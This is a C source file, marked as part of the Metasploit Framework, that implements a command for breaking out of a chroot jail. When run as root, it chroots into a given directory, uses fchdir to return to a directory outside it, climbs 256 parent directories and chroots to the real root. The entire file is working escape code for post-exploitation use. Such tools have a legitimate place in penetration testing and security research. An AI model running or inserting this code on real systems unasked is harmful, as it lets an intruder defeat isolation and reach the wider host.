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/*
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 * Copyright (c) 2004-2005 vlad902 <vlad902 [at] gmail.com>
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 * This file is part of the Metasploit Framework.
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 * $Revision$
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 */
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#include <stdio.h>
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#include <errno.h>
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#include <fcntl.h>
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#include <string.h>
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#include <unistd.h>
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#include <sys/stat.h>
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#include <sys/types.h>
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#include "cmd.h"
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void cmd_fchdir_breakchroot(int argc, char * argv[])
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{
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	int loop;
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	int dir_fd;
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	struct stat sstat;
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	if(getuid())
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	{
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		printf("Not root...\n");
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		return;
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	}
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	if(stat(argv[1], &sstat) < 0)
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	{
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		perror("stat");
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		return;
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	}
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	if(!S_ISDIR(sstat.st_mode))
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	{
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		printf("%s is not a directory.\n", argv[1]);
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		return;
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	}
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	if((dir_fd = open(".", O_RDONLY)) == -1)
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	{
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		perror("open");
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		return;
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	}
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	if(chroot(argv[1]) == -1)
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	{
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		perror("chroot");
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		return;
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	}
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	if(fchdir(dir_fd) == -1)
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	{
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		perror("fchdir");
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		return;
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	}
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	close(dir_fd);
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	for(loop = 0; loop < 256; loop++)
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		chdir("..");
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	chroot(".");
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}
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